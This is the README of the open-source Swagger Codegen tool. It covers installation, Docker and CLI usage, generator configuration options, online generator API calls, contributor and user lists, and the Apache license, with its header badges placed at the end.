http://repo1.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.1/swagger-codegen-cli-2.2.1.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ``` brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ``` export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ``` mvn clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ``` swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ``` git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ``` ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ``` git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ======= ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ``` # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ``` docker run --rm -v ${PWD}:/local swagger-api/swagger-codegen generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.1/swagger-codegen-cli-2.2.1.jar ) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ``` ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command: ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>] [--group-id <group id>] (-i <spec file> | --input-spec <spec file>) [--import-mappings <import mappings>] [--instantiation-types <instantiation types>] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>] [--library <library>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values --additional-properties <additional properties> sets additional properties that can be referenced by the mustache templates in the format of name=value,name=value --api-package <api package> package for generated api classes --artifact-id <artifact id> artifactId in generated pom.xml --artifact-version <artifact version> artifact version in generated pom.xml -c <configuration file>, --config <configuration file> Path to json configuration file. File content should be in a json format {"optionKey":"optionValue", "optionKey1":"optionValue1"...} Supported options can be different for each language. Run config-help -l {lang} command for language specific config options. -D <system properties> sets specified system properties in the format of name=value,name=value --group-id <group id> groupId in generated pom.xml -i <spec file>, --input-spec <spec file> location of the swagger spec, as URL or file (required) --import-mappings <import mappings> specifies mappings between a given class and the import that should be used for that class in the format of type=import,type=import --instantiation-types <instantiation types> sets instantiation type mappings in the format of type=instantiatedType,type=instantiatedType.For example (in Java): array=ArrayList,map=HashMap. In other words array types will get instantiated as ArrayList in generated code. --invoker-package <invoker package> root package for generated code -l <language>, --lang <language> client language to generate (maybe class name in classpath, required) --language-specific-primitives <language specific primitives> specifies additional language specific primitive types in the format of type1,type2,type3,type3. For example: String,boolean,Boolean,Double --library <library> library template (sub-template) --model-package <model package> package for generated models -o <output directory>, --output <output directory> where to write the generated files (current dir by default) -s, --skip-overwrite specifies if the existing files should be overwritten during the generation. -t <template directory>, --template-dir <template directory> folder containing the template files --type-mappings <type mappings> sets mappings between swagger spec types and generated code types in the format of swaggerType=generatedType,swaggerType=generatedType. For example: array=List,map=Map,string=String --reserved-words-mappings <import mappings> specifies how a reserved name should be escaped to. Otherwise, the default _<name> is used. For example id=identifier -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ``` cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ``` ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ``` # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ``` # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ``` # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ``` # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ``` $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java AkkaScalaClientCodegen.java AndroidClientCodegen.java AspNet5ServerCodegen.java AspNetCoreServerCodegen.java AsyncScalaClientCodegen.java BashClientCodegen.java CSharpClientCodegen.java ClojureClientCodegen.java CsharpDotNet2ClientCodegen.java DartClientCodegen.java FlashClientCodegen.java FlaskConnexionCodegen.java GoClientCodegen.java HaskellServantCodegen.java JMeterCodegen.java JavaCXFServerCodegen.java JavaClientCodegen.java JavaInflectorServerCodegen.java JavaJerseyServerCodegen.java JavaResteasyServerCodegen.java JavascriptClientCodegen.java NodeJSServerCodegen.java NancyFXServerCodegen ObjcClientCodegen.java PerlClientCodegen.java PhpClientCodegen.java PythonClientCodegen.java Qt5CPPGenerator.java RubyClientCodegen.java ScalaClientCodegen.java ScalatraServerCodegen.java SilexServerCodegen.java SinatraServerCodegen.java SlimFrameworkServerCodegen.java SpringMVCServerCodegen.java StaticDocCodegen.java StaticHtmlGenerator.java SwaggerGenerator.java SwaggerYamlGenerator.java SwiftCodegen.java TizenClientCodegen.java TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ``` { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes sortParamsByRequiredFlag Sort method arguments to place required parameters before optional parameters. Default: true invokerPackage root package for generated code groupId groupId in generated pom.xml artifactId artifactId in generated pom.xml artifactVersion artifact version in generated pom.xml sourceFolder source folder for generated code localVariablePrefix prefix for generated code members and local variables serializableModel boolean - toggle "implements Serializable" for generated models library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` Pet=my.models.MyPet,Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ``` cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ``` cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ``` mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ``` cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ``` curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ``` { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ``` { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ``` { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ``` curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Conplement](http://www.conplement.de/) - [Cummins] (http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocuSign](https://www.docusign.com) - [Ergon](http://www.ergon.ch/) - [EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Fastly](https://www.fastly.com/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [Germin8](http://www.germin8.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Intent HQ](http://www.intenthq.com) - [Interactive Intelligence](http://developer.mypurecloud.com/) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [MailMojo](https://mailmojo.no/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [Prill Tecnologia](http://www.prill.com.br) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [SRC](https://www.src.si/) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [TaskData](http://www.taskdata.com/) - [ThoughtWorks](https://www.thoughtworks.com) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | NodeJS/Javascript | @xhh (2016/05/01) | | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsum (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | | Scala Finch | @jimschubert (2017/01/28) | ## Template Creator Here is a list of template creators: * API Clients: * Akka-Scala: @cchafer * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * Clojure: @xhh * Dart: @yissachar * Elixir: @niku * Groovy: @victorgit * Go: @wing328 * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofi2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter @davidkiss * Perl: @wing328 * Swift: @tkqubo * Swift 3: @hexelon * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * PHP Lumen: @abcsum * PHP Slim: @jfastnacht * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Scala Finch: @jimschubert * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Evangelist Swagger Codegen Evangelist shoulders one or more of the following responsibilities: - publishes articles on the benefit of Swagger Codegen - organizes local Meetups - presents the benefits of Swagger Codegen in local Meetups or conferences - actively answers questions from others in [Github](https://github.com/swagger-api/swagger-codegen/issues), [StackOverflow](stackoverflow.com/search?q=%5Bswagger%5D) - submits PRs to improve Swagger Codegen - reviews PRs submitted by the others - ranks within top 100 in the [contributor list](https://github.com/swagger-api/swagger-codegen/graphs/contributors) If you want to be a Swagger Codegen Evangelist, please kindly apply by sending an email to [email protected] (@wing328) ### List of Swagger Codegen Evangelists - Cliffano Subagio (@cliffano from Australia joined on Dec 9, 2016) - [Building An AEM API Clients Ecosystem](http://www.slideshare.net/cliffano/building-an-aem-api-clients-ecosystem) - [Adobe Marketing Cloud Community Expo](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2017 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
# Swagger Code Generator - Master: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) - 2.3.0: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/2.3.0.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea/2.3.0.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=2.3.0&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR 